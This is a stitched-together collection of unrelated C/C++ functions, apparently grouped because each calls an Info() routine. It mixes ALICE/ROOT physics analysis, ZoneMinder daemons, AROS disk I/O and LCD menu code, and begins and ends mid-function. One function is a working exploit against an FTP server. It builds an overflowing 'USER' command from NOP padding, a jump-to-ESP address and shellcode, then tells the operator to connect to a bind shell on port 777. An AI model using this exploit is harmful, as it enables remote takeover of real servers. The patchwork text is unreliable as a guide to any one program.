track->GetESDpid(probability); Double_t pMax = 0; Int_t iRec = 0; for (Int_t i = 0; i < AliPID::kSPECIES; i++) { probability[i] *= partFrac[i]; if (probability[i] > pMax) { pMax = probability[i]; iRec = i; } } identified[iGen][iRec]++; if (iGen == iRec) nIdentified++; // dE/dx and TOF Double_t time[AliPID::kSPECIES]; track->GetIntegratedTimes(time); if (iGen == iRec) { hDEdxRight->Fill(particle->P(), track->GetTPCsignal()); if ((track->GetStatus() & AliESDtrack::kTOFpid) != 0) { hResTOFRight->Fill(track->GetTOFsignal() - time[iRec]); } } else { hDEdxWrong->Fill(particle->P(), track->GetTPCsignal()); if ((track->GetStatus() & AliESDtrack::kTOFpid) != 0) { hResTOFWrong->Fill(track->GetTOFsignal() - time[iRec]); } } } // loop over muon tracks { for (Int_t iTrack = 0; iTrack < esd->GetNumberOfMuonTracks(); iTrack++) { AliESDMuonTrack* muonTrack = esd->GetMuonTrack(iTrack); Double_t ptInv = TMath::Abs(muonTrack->GetInverseBendingMomentum()); if (ptInv > 0.001) { hPtMUON->Fill(1./ptInv); } } } // loop over V0s for (Int_t iV0 = 0; iV0 < esd->GetNumberOfV0s(); iV0++) { AliESDv0* v0 = esd->GetV0(iV0); if (v0->GetOnFlyStatus()) continue; v0->ChangeMassHypothesis(kK0Short); hMassK0->Fill(v0->GetEffMass()); v0->ChangeMassHypothesis(kLambda0); hMassLambda->Fill(v0->GetEffMass()); v0->ChangeMassHypothesis(kLambda0Bar); hMassLambdaBar->Fill(v0->GetEffMass()); Int_t negLabel = TMath::Abs(esd->GetTrack(v0->GetNindex())->GetLabel()); if (negLabel > stack->GetNtrack()) continue; // background Int_t negMother = stack->Particle(negLabel)->GetMother(0); if (negMother < 0) continue; Int_t posLabel = TMath::Abs(esd->GetTrack(v0->GetPindex())->GetLabel()); if (posLabel > stack->GetNtrack()) continue; // background Int_t posMother = stack->Particle(posLabel)->GetMother(0); if (negMother != posMother) continue; TParticle* particle = stack->Particle(negMother); if (!selV0s.Contains(particle)) continue; selV0s.Remove(particle); nRecV0s++; } // loop over Cascades for (Int_t iCascade = 0; iCascade < esd->GetNumberOfCascades(); iCascade++) { AliESDcascade* cascade = esd->GetCascade(iCascade); Double_t v0q; cascade->ChangeMassHypothesis(v0q,kXiMinus); hMassXi->Fill(cascade->GetEffMassXi()); cascade->ChangeMassHypothesis(v0q,kOmegaMinus); hMassOmega->Fill(cascade->GetEffMassXi()); Int_t negLabel = TMath::Abs(esd->GetTrack(cascade->GetNindex()) ->GetLabel()); if (negLabel > stack->GetNtrack()) continue; // background Int_t negMother = stack->Particle(negLabel)->GetMother(0); if (negMother < 0) continue; Int_t posLabel = TMath::Abs(esd->GetTrack(cascade->GetPindex()) ->GetLabel()); if (posLabel > stack->GetNtrack()) continue; // background Int_t posMother = stack->Particle(posLabel)->GetMother(0); if (negMother != posMother) continue; Int_t v0Mother = stack->Particle(negMother)->GetMother(0); if (v0Mother < 0) continue; Int_t bacLabel = TMath::Abs(esd->GetTrack(cascade->GetBindex()) ->GetLabel()); if (bacLabel > stack->GetNtrack()) continue; // background Int_t bacMother = stack->Particle(bacLabel)->GetMother(0); if (v0Mother != bacMother) continue; TParticle* particle = stack->Particle(v0Mother); if (!selCascades.Contains(particle)) continue; selCascades.Remove(particle); nRecCascades++; } // loop over the clusters { for (Int_t iCluster=0; iCluster<esd->GetNumberOfCaloClusters(); iCluster++) { AliESDCaloCluster * clust = esd->GetCaloCluster(iCluster); if (clust->IsPHOS()) hEPHOS->Fill(clust->E()); if (clust->IsEMCAL()) hEEMCAL->Fill(clust->E()); } } } // perform checks if (nGen < checkNGenLow) { Warning("CheckESD", "low number of generated particles: %d", Int_t(nGen)); } TH1F* hEff = CreateEffHisto(hGen, hRec); Info("CheckESD", "%d out of %d tracks reconstructed including %d " "fake tracks", nRec, nGen, nFake); if (nGen > 0) { // efficiency Double_t eff = nRec*1./nGen; Double_t effError = TMath::Sqrt(eff*(1.-eff) / nGen); Double_t fake = nFake*1./nGen; Double_t fakeError = TMath::Sqrt(fake*(1.-fake) / nGen); Info("CheckESD", "eff = (%.1f +- %.1f) %% fake = (%.1f +- %.1f) %%", 100.*eff, 100.*effError, 100.*fake, 100.*fakeError); if(100.*eff<5.0){ Error("CheckESD", "Efficiency too low!!!");return kFALSE; } if (eff < checkEffLow - checkEffSigma*effError) { Warning("CheckESD", "low efficiency: (%.1f +- %.1f) %%", 100.*eff, 100.*effError); } if (fake > checkFakeHigh + checkFakeSigma*fakeError) { Warning("CheckESD", "high fake: (%.1f +- %.1f) %%", 100.*fake, 100.*fakeError); } // resolutions Double_t res, resError; if (FitHisto(hResPtInv, res, resError)) { Info("CheckESD", "relative inverse pt resolution = (%.1f +- %.1f) %%", res, resError); if (res > checkResPtInvHigh + checkResPtInvSigma*resError) { Warning("CheckESD", "bad pt resolution: (%.1f +- %.1f) %%", res, resError); } } if (FitHisto(hResPhi, res, resError)) { Info("CheckESD", "phi resolution = (%.1f +- %.1f) mrad", res, resError); if (res > checkResPhiHigh + checkResPhiSigma*resError) { Warning("CheckESD", "bad phi resolution: (%.1f +- %.1f) mrad", res, resError); } } if (FitHisto(hResTheta, res, resError)) { Info("CheckESD", "theta resolution = (%.1f +- %.1f) mrad", res, resError); if (res > checkResThetaHigh + checkResThetaSigma*resError) { Warning("CheckESD", "bad theta resolution: (%.1f +- %.1f) mrad", res, resError); } } } // draw the histograms if not in batch mode if (!gROOT->IsBatch()) { new TCanvas; hEff->DrawCopy(); new TCanvas; hResPtInv->DrawCopy("E"); new TCanvas; hResPhi->DrawCopy("E"); new TCanvas; hResTheta->DrawCopy("E"); } // write the output histograms to a file TFile* outputFile = TFile::Open("check.root", "recreate"); if (!outputFile || !outputFile->IsOpen()) { Error("CheckESD", "opening output file check.root failed"); return kFALSE; } hEff->Write(); hResPtInv->Write(); hResPhi->Write(); hResTheta->Write(); outputFile->Close(); delete outputFile; // clean up delete hGen; delete hRec; delete hEff; delete hResPtInv; delete hResPhi; delete hResTheta; delete esd; esdFile->Close(); delete esdFile; runLoader->UnloadHeader(); runLoader->UnloadKinematics(); delete runLoader; // result of check Info("CheckESD", "check of ESD was successfull"); return kTRUE; }
void Logger::Info(const char *message, ...) { va_list args; va_start(args, message); Info(message, args); va_end(args); }
void AddAnalysisManagerTestTask(TString analysisSource = "proof", TString analysisMode = "test", TString opts = "") { Bool_t useMC = kFALSE; TString format = "esd"; format = "aod"; // ALICE stuff AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager(); if (!mgr) mgr = new AliAnalysisManager("Martin Vala's AM"); gROOT->LoadMacro("SetupAnalysisPlugin.C"); AliAnalysisGrid *analysisPlugin = SetupAnalysisPlugin(analysisMode.Data()); if (!analysisPlugin) return; // load par files localy gSystem->Load("libANALYSIS.so"); gSystem->Load("libANALYSISalice.so"); gROOT->LoadMacro("AliAnalysisTaskCustomMix.cxx+g"); analysisPlugin->AddIncludePath(gSystem->ExpandPathName("$ALICE_ROOT/ANALYSIS/EventMixing")); analysisPlugin->SetAliRootMode("ALIROOT"); // Loads AF libs by default // sets additional settings to plubin analysisPlugin->SetAnalysisSource("AliAnalysisTaskCustomMix.cxx"); analysisPlugin->SetAdditionalLibs("libEventMixing.so AliAnalysisTaskCustomMix.h AliAnalysisTaskCustomMix.cxx"); // sets plugin to manager mgr->SetGridHandler(analysisPlugin); Info("AddAnalysisManagerMixRsn.C", "Creating AliMultiInputEventHandler ..."); AliMultiInputEventHandler *mainInputHandler = new AliMultiInputEventHandler(); Info("AddAnalysisManagerMixRsn.C", "Creating esdInputHandler ..."); AliESDInputHandler *esdInputHandler = new AliESDInputHandler(); mainInputHandler->AddInputEventHandler(esdInputHandler); if (useMC) { Info("AddAnalysisManagerMixRsn.C", "Creating mcInputHandler ..."); AliMCEventHandler* mcInputHandler = new AliMCEventHandler(); mainInputHandler->AddInputEventHandler(mcInputHandler); } Int_t bufferSize = 1; Int_t mixNum = 5; AliMixInputEventHandler *mixHandler = new AliMixInputEventHandler(bufferSize, mixNum); mixHandler->SetInputHandlerForMixing(dynamic_cast<AliMultiInputEventHandler*>(mainInputHandler)); AliMixEventPool *evPool = new AliMixEventPool(); AliMixEventCutObj *multi = new AliMixEventCutObj(AliMixEventCutObj::kMultiplicity, 1, 101, 10); AliMixEventCutObj *zvertex = new AliMixEventCutObj(AliMixEventCutObj::kZVertex, -5, 5, 1); evPool->AddCut(multi); evPool->AddCut(zvertex); // adds event pool (comment it and u will have default mixing) mixHandler->SetEventPool(evPool); // add mixing handler (uncomment to turn on Mixnig) mainInputHandler->AddInputEventHandler(mixHandler); // add main input handler (with mixing handler) mgr->SetInputEventHandler(mainInputHandler); // adds all tasks gROOT->LoadMacro("AddAnalysisTaskAll.C"); AddAnalysisTaskAll(format, useMC, opts); }
void WebServer::onServerStopped () { Info(_log, "Stopped %s", _server->getServerName().toStdString().c_str()); emit stateChange(false); }
int ModeHandler(int mode, char *textIn, int argc, char **argv) { LcdSpi *lcd; Spi *spiBus0; ScreenData *screenBg; int result = 0; Fonts font; iconv_t ic; size_t res; char text[MAX_ISO8859_LEN] = ""; memset(&font, 0, sizeof(Fonts)); spiBus0 = SpiCreate(0); if (spiBus0 == NULL) { printf("SPI-Error\n"); exit(EXITCODE_ERROR); } lcd = LcdOpen(spiBus0); if (!lcd) { printf("LCD-Error\n"); exit(EXITCODE_ERROR); } if (gConfig.mIsInit == 1) { LcdInit(lcd); } else if (gConfig.mIsInit == 2) { LcdUninit(lcd); exit(EXITCODE_OK); } if (gConfig.mIsBgLight) { LcdSetBgLight(lcd, gConfig.mBgLight & 1, gConfig.mBgLight & 2, gConfig.mBgLight & 4); } screenBg = ScreenInit(LCD_X, LCD_Y); if (!screenBg) { printf("Screen-Error\n"); exit(EXITCODE_ERROR); } ScreenClear(screenBg); if (gConfig.mBgFilename) { if (ScreenLoadImage(screenBg, gConfig.mBgFilename, gConfig.mBgOffX, gConfig.mBgOffY) != 0) { ScreenClear(screenBg); } } if (textIn) { int testInLen = strlen(textIn); char **inPtr = &textIn; char *outPtr = &text[0]; ic = iconv_open("ISO-8859-1", "UTF-8"); if (ic != (iconv_t)(-1)) { size_t inBytesLeft = testInLen; size_t outBytesLeft = sizeof(text) - 1; res = iconv(ic, inPtr, &inBytesLeft, &outPtr, &outBytesLeft); if ((int)res != -1 && outBytesLeft) { outPtr[0] = 0; } else { strncpy(text, textIn, sizeof(text) - 1); text[sizeof(text) - 1] = 0; } iconv_close(ic); } } //printf("Mode: %i\n", mode); switch (mode) { case OPT_YESNO: LoadFonts(&font); result = YesNo(lcd, &font, text, screenBg); break; case OPT_OK: LoadFonts(&font); result = Ok(lcd, &font, text, screenBg); break; case OPT_MENU: LoadFonts(&font); result = Menu(lcd, &font, screenBg, optind, argc, argv); break; case OPT_IPV4: LoadFonts(&font); result = Ipv4(lcd, &font, text, screenBg, optind, argc, argv); break; case OPT_SUBNETMASK: LoadFonts(&font); result = Subnetmask(lcd, &font, text, screenBg, optind, argc, argv); break; case OPT_INFO: LoadFonts(&font); result = Info(lcd, &font, text, screenBg); break; case OPT_BUTTONWAIT: result = ButtonWait(); break; case OPT_INTINPUT: LoadFonts(&font); result = IntInput(lcd, &font, text, screenBg, optind, argc, argv); break; case OPT_PROGRESS: LoadFonts(&font); result = Progress(lcd, &font, text, screenBg, optind, argc, argv); break; case OPT_PERCENT: LoadFonts(&font); result = Percent(lcd, &font, text, screenBg, optind, argc, argv); break; default: break; } if (font.mSystem) { //FontDestroy(font.mSystem); } if (font.mInternal) { //FontDestroy(font.mInternal); } if (gConfig.mIsClear) { LcdCls(lcd); } ScreenDestroy(screenBg); LcdCleanup(lcd); SpiDestroy(spiBus0); return result; }
// Open a disk for IO DiskHandle *LIBFUNC L_OpenDisk( REG(a0, char *disk), REG(a1, struct MsgPort *port)) { DiskHandle *handle; struct DosList *dl; unsigned long blocks; char *ptr; // Allocate handle if (!(handle=AllocVec(sizeof(DiskHandle),MEMF_CLEAR))) return 0; // Copy name, strip colon stccpy(handle->dh_name,disk,31); if ((ptr=strchr(handle->dh_name,':'))) *ptr=0; // Lock DOS list dl=LockDosList(LDF_DEVICES|LDF_READ); // Find entry if (!(dl=FindDosEntry(dl,handle->dh_name,LDF_DEVICES))) { // Not found UnLockDosList(LDF_DEVICES|LDF_READ); FreeVec(handle); return 0; } // Add colon back on strcat(handle->dh_name,":"); // Get pointer to startup message and geometry handle->dh_startup=(struct FileSysStartupMsg *)BADDR(dl->dol_misc.dol_handler.dol_Startup); handle->dh_geo=(struct DosEnvec *)BADDR(handle->dh_startup->fssm_Environ); // Shortcuts to root block and blocksize blocks=handle->dh_geo->de_BlocksPerTrack* handle->dh_geo->de_Surfaces* (handle->dh_geo->de_HighCyl-handle->dh_geo->de_LowCyl+1); handle->dh_root=(blocks-1+handle->dh_geo->de_Reserved)>>1; handle->dh_blocksize=handle->dh_geo->de_SizeBlock<<2; // Get real device name L_BtoCStr((BPTR)handle->dh_startup->fssm_Device,handle->dh_device,32); // Get information #ifdef __AROS__ if (((struct Library *)DOSBase)->lib_Version<50) { //handle->dh_result=Info(dl->dol_Lock,&handle->dh_info); BPTR lock; handle->dh_result=0; if ((lock=Lock(handle->dh_name,SHARED_LOCK))) { handle->dh_result=Info(lock,&handle->dh_info); UnLock(lock); } } else #endif handle->dh_result=DoPkt(dl->dol_Task,ACTION_DISK_INFO,MKBADDR(&handle->dh_info),0,0,0,0); // Unlock dos list UnLockDosList(LDF_DEVICES|LDF_READ); // Create message port if needed if (!port) { if (!(handle->dh_port=CreateMsgPort())) { FreeVec(handle); return 0; } port=handle->dh_port; } // Create IO request if (!(handle->dh_io=(struct IOExtTD *)CreateIORequest(port,sizeof(struct IOExtTD)))) { if (handle->dh_port) DeleteMsgPort(handle->dh_port); FreeVec(handle); return 0; } // Open device if (OpenDevice( handle->dh_device, handle->dh_startup->fssm_Unit, (struct IORequest *)handle->dh_io, handle->dh_startup->fssm_Flags)) { // Failed to open L_CloseDisk(handle); return 0; } return handle; }
int main( int argc, char *argv[] ) { self = argv[0]; srand( getpid() * time( 0 ) ); int id = -1; static struct option long_options[] = { {"monitor", 1, 0, 'm'}, {"help", 0, 0, 'h'}, {"version", 0, 0, 'v'}, {0, 0, 0, 0} }; while (1) { int option_index = 0; int c = getopt_long (argc, argv, "m:h:v", long_options, &option_index); if (c == -1) { break; } switch (c) { case 'm': id = atoi(optarg); break; case 'h': case '?': Usage(); break; case 'v': cout << ZM_VERSION << "\n"; exit(0); default: //fprintf( stderr, "?? getopt returned character code 0%o ??\n", c ); break; } } if (optind < argc) { fprintf( stderr, "Extraneous options, " ); while (optind < argc) printf ("%s ", argv[optind++]); printf ("\n"); Usage(); } if ( id < 0 ) { fprintf( stderr, "Bogus monitor %d\n", id ); Usage(); exit( 0 ); } char log_id_string[16]; snprintf( log_id_string, sizeof(log_id_string), "zma_m%d", id ); zmLoadConfig(); logInit( log_id_string ); ssedetect(); Monitor *monitor = Monitor::Load( id, true, Monitor::ANALYSIS ); if ( monitor ) { Info( "In mode %d/%d, warming up", monitor->GetFunction(), monitor->Enabled() ); if ( config.opt_frame_server ) { Event::OpenFrameSocket( monitor->Id() ); } zmSetDefaultHupHandler(); zmSetDefaultTermHandler(); zmSetDefaultDieHandler(); sigset_t block_set; sigemptyset( &block_set ); while( !zm_terminate ) { // Process the next image sigprocmask( SIG_BLOCK, &block_set, 0 ); if ( !monitor->Analyse() ) { usleep( monitor->Active()?ZM_SAMPLE_RATE:ZM_SUSPENDED_RATE ); } if ( zm_reload ) { monitor->Reload(); zm_reload = false; } sigprocmask( SIG_UNBLOCK, &block_set, 0 ); } delete monitor; } else { fprintf( stderr, "Can't find monitor with id of %d\n", id ); } logTerm(); zmDbClose(); return( 0 ); }
//_____________________________________________________________________________ void ProofSimple::SlaveBegin(TTree * /*tree*/) { // The SlaveBegin() function is called after the Begin() function. // When running with PROOF SlaveBegin() is called on each slave server. // The tree argument is deprecated (on PROOF 0 is passed). TString option = GetOption(); Ssiz_t iopt = kNPOS; // Histos array if (fInput->FindObject("ProofSimple_NHist")) { TParameter<Long_t> *p = dynamic_cast<TParameter<Long_t>*>(fInput->FindObject("ProofSimple_NHist")); fNhist = (p) ? (Int_t) p->GetVal() : fNhist; } else if ((iopt = option.Index("nhist=")) != kNPOS) { TString s; Ssiz_t from = iopt + strlen("nhist="); if (option.Tokenize(s, from, ";") && s.IsDigit()) fNhist = s.Atoi(); } if (fNhist < 1) { Abort("fNhist must be > 0! Hint: proof->SetParameter(\"ProofSimple_NHist\"," " (Long_t) <nhist>)", kAbortProcess); return; } fHist = new TH1F*[fNhist]; TString hn; // Create the histogram for (Int_t i=0; i < fNhist; i++) { hn.Form("h%d",i); fHist[i] = new TH1F(hn.Data(), hn.Data(), 100, -3., 3.); fHist[i]->SetFillColor(kRed); fOutput->Add(fHist[i]); } // 3D Histos array if (fInput->FindObject("ProofSimple_NHist3")) { TParameter<Long_t> *p = dynamic_cast<TParameter<Long_t>*>(fInput->FindObject("ProofSimple_NHist3")); fNhist3 = (p) ? (Int_t) p->GetVal() : fNhist3; } else if ((iopt = option.Index("nhist3=")) != kNPOS) { TString s; Ssiz_t from = iopt + strlen("nhist3="); if (option.Tokenize(s, from, ";") && s.IsDigit()) fNhist3 = s.Atoi(); } if (fNhist3 > 0) { fHist3 = new TH3F*[fNhist3]; Info("Begin", "%d 3D histograms requested", fNhist3); // Create the 3D histogram for (Int_t i=0; i < fNhist3; i++) { hn.Form("h%d_3d",i); fHist3[i] = new TH3F(hn.Data(), hn.Data(), 100, -3., 3., 100, -3., 3., 100, -3., 3.); fOutput->Add(fHist3[i]); } } // Histo with labels if (fInput->FindObject("ProofSimple_TestLabelMerging")) { fHLab = new TH1F("hlab", "Test merging of histograms with automatic labels", 10, 0., 10.); fOutput->Add(fHLab); } // Ntuple TNamed *nm = dynamic_cast<TNamed *>(fInput->FindObject("ProofSimple_Ntuple")); if (nm) { // Title is in the form // merge merge via file // |<fout> location of the output file if merge // |retrieve retrieve to client machine // dataset create a dataset // |<dsname> dataset name (default: dataset_ntuple) // |plot for a final plot // <empty> or other keep in memory fHasNtuple = 1; TString ontp(nm->GetTitle()); if (ontp.Contains("|plot") || ontp == "plot") { fPlotNtuple = kTRUE; ontp.ReplaceAll("|plot", ""); if (ontp == "plot") ontp = ""; } TString locfn("SimpleNtuple.root"); if (ontp.BeginsWith("merge")) { ontp.Replace(0,5,""); fProofFile = new TProofOutputFile(locfn, "M"); TString fn; Ssiz_t iret = ontp.Index("|retrieve"); if (iret != kNPOS) { fProofFile->SetRetrieve(kTRUE); TString rettag("|retrieve"); if ((iret = ontp.Index("|retrieve=")) != kNPOS) { rettag += "="; fn = ontp(iret + rettag.Length(), ontp.Length() - iret - rettag.Length()); if ((iret = fn.Index('|')) != kNPOS) fn.Remove(iret); rettag += fn; } ontp.ReplaceAll(rettag, ""); } Ssiz_t iof = ontp.Index('|'); if (iof != kNPOS) ontp.Remove(0, iof + 1); if (!ontp.IsNull()) { fProofFile->SetOutputFileName(ontp.Data()); if (fn.IsNull()) fn = gSystem->BaseName(TUrl(ontp.Data(), kTRUE).GetFile()); } if (fn.IsNull()) fn = locfn; // This will be the final file on the client, the case there is one fProofFile->SetTitle(fn); } else if (ontp.BeginsWith("dataset")) { ontp.Replace(0,7,""); Ssiz_t iof = ontp.Index("|"); if (iof != kNPOS) ontp.Remove(0, iof + 1); TString dsname = (!ontp.IsNull()) ? ontp.Data() : "dataset_ntuple"; UInt_t opt = TProofOutputFile::kRegister | TProofOutputFile::kOverwrite | TProofOutputFile::kVerify; fProofFile = new TProofOutputFile("SimpleNtuple.root", TProofOutputFile::kDataset, opt, dsname.Data()); fHasNtuple = 2; } else if (!ontp.IsNull()) { Warning("SlaveBegin", "ntuple options unknown: ignored (%s)", ontp.Data()); } // Open the file, if required if (fProofFile) { // Open the file fFile = fProofFile->OpenFile("RECREATE"); if (fFile && fFile->IsZombie()) SafeDelete(fFile); // Cannot continue if (!fFile) { Info("SlaveBegin", "could not create '%s': instance is invalid!", fProofFile->GetName()); return; } } // Now we create the ntuple fNtp = new TNtuple("ntuple","Demo ntuple","px:py:pz:random:i"); // File resident, if required if (fFile) { fNtp->SetDirectory(fFile); fNtp->AutoSave(); } else { fOutput->Add(fNtp); } } // Set random seed fRandom = new TRandom3(0); }
void OMProcess::onReadyRead() { QString msg = "["+_appName+"] : "+QString(readAllStandardOutput()); InfoSender::instance()->send(Info(msg)); }
//_____________________________________________________________________________ void ProofSimple::Terminate() { // The Terminate() function is the last function to be called during // a query. It always runs on the client, it can be used to present // the results graphically or save the results to file. // // Create a canvas, with 100 pads // TCanvas *c1 = (TCanvas *) gDirectory->FindObject("c1"); if (c1) { gDirectory->Remove(c1); delete c1; } c1 = new TCanvas("c1","Proof ProofSimple canvas",200,10,700,700); Int_t nside = (Int_t)TMath::Sqrt((Float_t)fNhist); nside = (nside*nside < fNhist) ? nside+1 : nside; c1->Divide(nside,nside,0,0); Bool_t tryfc = kFALSE; TH1F *h = 0; for (Int_t i=0; i < fNhist; i++) { if (!(h = dynamic_cast<TH1F *>(TProof::GetOutput(Form("h%d",i), fOutput)))) { // Not found: try TFileCollection tryfc = kTRUE; break; } c1->cd(i+1); h->DrawCopy(); } // If the histograms are not found they may be in files: is there a file collection? if (tryfc && GetHistosFromFC(c1) != 0) { Warning("Terminate", "histograms not found"); } else { // Final update c1->cd(); c1->Update(); } // Analyse hlab, if there if (fHLab && !gROOT->IsBatch()) { // Printout Int_t nb = fHLab->GetNbinsX(); if (nb > 0) { Double_t entb = fHLab->GetEntries() / nb; if (entb) { for (Int_t i = 0; i < nb; i++) { TString lab = TString::Format("hl%d", i); Int_t ib = fHLab->GetXaxis()->FindBin(lab); Info("Terminate"," %s [%d]:\t%f", lab.Data(), ib, fHLab->GetBinContent(ib)/entb); } } else Warning("Terminate", "no entries in the hlab histogram!"); } } // Process the ntuple, if required if (fHasNtuple != 1 || !fPlotNtuple) return; if (!(fNtp = dynamic_cast<TNtuple *>(TProof::GetOutput("ntuple", fOutput)))) { // Get the ntuple from the file if ((fProofFile = dynamic_cast<TProofOutputFile*>(fOutput->FindObject("SimpleNtuple.root")))) { TString outputFile(fProofFile->GetOutputFileName()); TString outputName(fProofFile->GetName()); outputName += ".root"; Printf("outputFile: %s", outputFile.Data()); // Read the ntuple from the file fFile = TFile::Open(outputFile); if (fFile) { Printf("Managed to open file: %s", outputFile.Data()); fNtp = (TNtuple *) fFile->Get("ntuple"); } else { Error("Terminate", "could not open file: %s", outputFile.Data()); } if (!fFile) return; } else { Error("Terminate", "TProofOutputFile not found"); return; } } // Plot ntuples if (fNtp) PlotNtuple(fNtp, "proof ntuple"); }
int main(int argc,char *argv[]){ Info(); if ( ( argc > 3 ) ){usage();return -1;} if( argc > 1 ){ cout<<"argv[1]"<<"\t"<<argv[1]<<endl; IP = htonl( inet_addr( argv[1] ) );} else{ cout<<"Local test mode : 127.0.0.1"<<endl; IP = htonl( inet_addr( "127.0.0.1" ) );} if( argc == 3 ){ cout<<"argv[2]"<<"\t"<<argv[2]<<endl; Port = atoi( argv[2] );} else{ cout<<"Port by default : 21"<<endl; Port = 21;} WSADATA wsadata; if( WSAStartup( MAKEWORD( 2, 0 ),&wsadata )!=0 ){ cout<<"[-] WSAStartup error. Bye!"<<endl; return -1;} SOCKET sck; fd_set mask; struct timeval timeout; struct sockaddr_in server; sck = socket( AF_INET, SOCK_STREAM, 0 ); // TCP. if( sck == -1 ){cout<<"[-] Socket() error. Bye!"<<endl; return -1;} server.sin_family = AF_INET; // Address Internet 4 bytes. server.sin_addr.s_addr = htonl( IP ); server.sin_port = htons( Port ); // Definition port. // Try to connect on FTP server. connect( sck,( struct sockaddr *)&server, sizeof( server ) ); timeout.tv_sec = 3; // Delay 3 seconds. timeout.tv_usec = 0; FD_ZERO( &mask ); FD_SET( sck, &mask ); switch( select( sck + 1, NULL, &mask, NULL, &timeout ) ){ case -1:{ // Problem! cout<<"[-] Select() error. Bye!"<<endl; closesocket( sck ); return -1;} case 0:{ // Problem! cout<<"[-] Connect() error. Bye!"<<endl; closesocket( sck ); return -1;} default: if(FD_ISSET( sck, &mask ) ){ recv( sck, RecvBuff, 256, 0 ); // Reception Flag ID. cout<<"[+] Connected, checking the server for flag..."<<endl; Sleep( 500 ); if ( !strstr( RecvBuff, TargetFlag ) ){ cout<<"[-] This is not a valid flag from target! Bye."<<endl; return -1;} // Bye! cout<<RecvBuff; Sleep( 1000 ); cout<<"[+] Connected, constructing the PayLoad..."<<endl; szNOP1 = 219; // First padding. szNOP2 = 720; // Second padding. // Initialise le Buffer PayLoad NULL. memset( PayLoad, NULL, sizeof( PayLoad ) ); strcat( PayLoad, "USER " ); // Command User. // First padding. for( Nop = 0; Nop < szNOP1; Nop++ ){ strcat( PayLoad, "\x90" );} // New EIP register. strcat( PayLoad, JmpESP ); // Second Padding. for( Nop = 0; Nop < szNOP2; Nop++ ){ strcat( PayLoad, "\x90" );} strcat( PayLoad, MyShellCode ); strcat( PayLoad, "\x0D\x0A" ); // Send fully PayLoad. if( send( sck, PayLoad, strlen( PayLoad ), 0 ) == SOCKET_ERROR ){ cout<<"[-] Sending error, the server prolly rebooted."<<endl; return -1;} Sleep( 1000 ); cout<<"[+] Nice!!! See your log for execute an evil command."<<endl; cout<<"[+] After, try to connect on FTP server by port 777."<<endl; return 0; } } closesocket( sck ); WSACleanup(); return 0; // Bye! }
//_____________________________________________________________________ void h1analysis::SlaveTerminate() { // nothing to be done if (fillList) Info("SlaveTerminate", "elist created with %lld entries", elist->GetN()); }
int main( int argc, char *argv[] ) { self = argv[0]; srand( getpid() * time( 0 ) ); int id = -1; static struct option long_options[] = { {"monitor", 1, 0, 'm'}, {"help", 0, 0, 'h'}, {"version", 0, 0, 'v'}, {0, 0, 0, 0} }; while (1) { int option_index = 0; int c = getopt_long (argc, argv, "m:h:v", long_options, &option_index); if (c == -1) { break; } switch (c) { case 'm': id = atoi(optarg); break; case 'h': case '?': Usage(); break; case 'v': std::cout << ZM_VERSION << "\n"; exit(0); default: //fprintf( stderr, "?? getopt returned character code 0%o ??\n", c ); break; } } if (optind < argc) { fprintf( stderr, "Extraneous options, " ); while (optind < argc) printf ("%s ", argv[optind++]); printf ("\n"); Usage(); } if ( id < 0 ) { fprintf( stderr, "Bogus monitor %d\n", id ); Usage(); exit( 0 ); } char log_id_string[16]; snprintf( log_id_string, sizeof(log_id_string), "zma_m%d", id ); zmLoadConfig(); logInit( log_id_string ); hwcaps_detect(); Monitor *monitor = Monitor::Load( id, true, Monitor::ANALYSIS ); if ( monitor ) { Info( "In mode %d/%d, warming up", monitor->GetFunction(), monitor->Enabled() ); zmSetDefaultHupHandler(); zmSetDefaultTermHandler(); zmSetDefaultDieHandler(); sigset_t block_set; sigemptyset( &block_set ); useconds_t analysis_rate = monitor->GetAnalysisRate(); unsigned int analysis_update_delay = monitor->GetAnalysisUpdateDelay(); time_t last_analysis_update_time, cur_time; monitor->UpdateAdaptiveSkip(); last_analysis_update_time = time( 0 ); while( !zm_terminate ) { // Process the next image sigprocmask( SIG_BLOCK, &block_set, 0 ); // Some periodic updates are required for variable capturing framerate if ( analysis_update_delay ) { cur_time = time( 0 ); if ( ( cur_time - last_analysis_update_time ) > analysis_update_delay ) { analysis_rate = monitor->GetAnalysisRate(); monitor->UpdateAdaptiveSkip(); last_analysis_update_time = cur_time; } } if ( !monitor->Analyse() ) { usleep( monitor->Active()?ZM_SAMPLE_RATE:ZM_SUSPENDED_RATE ); } else if ( analysis_rate ) { usleep( analysis_rate ); } if ( zm_reload ) { monitor->Reload(); zm_reload = false; } sigprocmask( SIG_UNBLOCK, &block_set, 0 ); } delete monitor; } else { fprintf( stderr, "Can't find monitor with id of %d\n", id ); } Image::Deinitialise(); logTerm(); zmDbClose(); return( 0 ); }
//_____________________________________________________________________ void h1analysis::Terminate() { // function called at the end of the event loop hdmd = dynamic_cast<TH1F*>(fOutput->FindObject("hdmd")); h2 = dynamic_cast<TH2F*>(fOutput->FindObject("h2")); if (hdmd == 0 || h2 == 0) { Error("Terminate", "hdmd = %p , h2 = %p", hdmd, h2); return; } //create the canvas for the h1analysis fit gStyle->SetOptFit(); TCanvas *c1 = new TCanvas("c1","h1analysis analysis",10,10,800,600); c1->SetBottomMargin(0.15); hdmd->GetXaxis()->SetTitle("m_{K#pi#pi} - m_{K#pi}[GeV/c^{2}]"); hdmd->GetXaxis()->SetTitleOffset(1.4); //fit histogram hdmd with function f5 using the loglikelihood option if (gROOT->GetListOfFunctions()->FindObject("f5")) delete gROOT->GetFunction("f5"); TF1 *f5 = new TF1("f5",fdm5,0.139,0.17,5); f5->SetParameters(1000000, .25, 2000, .1454, .001); hdmd->Fit("f5","lr"); //create the canvas for tau d0 gStyle->SetOptFit(0); gStyle->SetOptStat(1100); TCanvas *c2 = new TCanvas("c2","tauD0",100,100,800,600); c2->SetGrid(); c2->SetBottomMargin(0.15); // Project slices of 2-d histogram h2 along X , then fit each slice // with function f2 and make a histogram for each fit parameter // Note that the generated histograms are added to the list of objects // in the current directory. if (gROOT->GetListOfFunctions()->FindObject("f2")) delete gROOT->GetFunction("f2"); TF1 *f2 = new TF1("f2",fdm2,0.139,0.17,2); f2->SetParameters(10000, 10); h2->FitSlicesX(f2,0,-1,1,"qln"); TH1D *h2_1 = (TH1D*)gDirectory->Get("h2_1"); h2_1->GetXaxis()->SetTitle("#tau[ps]"); h2_1->SetMarkerStyle(21); h2_1->Draw(); c2->Update(); TLine *line = new TLine(0,0,0,c2->GetUymax()); line->Draw(); // Have the number of entries on the first histogram (to cross check when running // with entry lists) TPaveStats *psdmd = 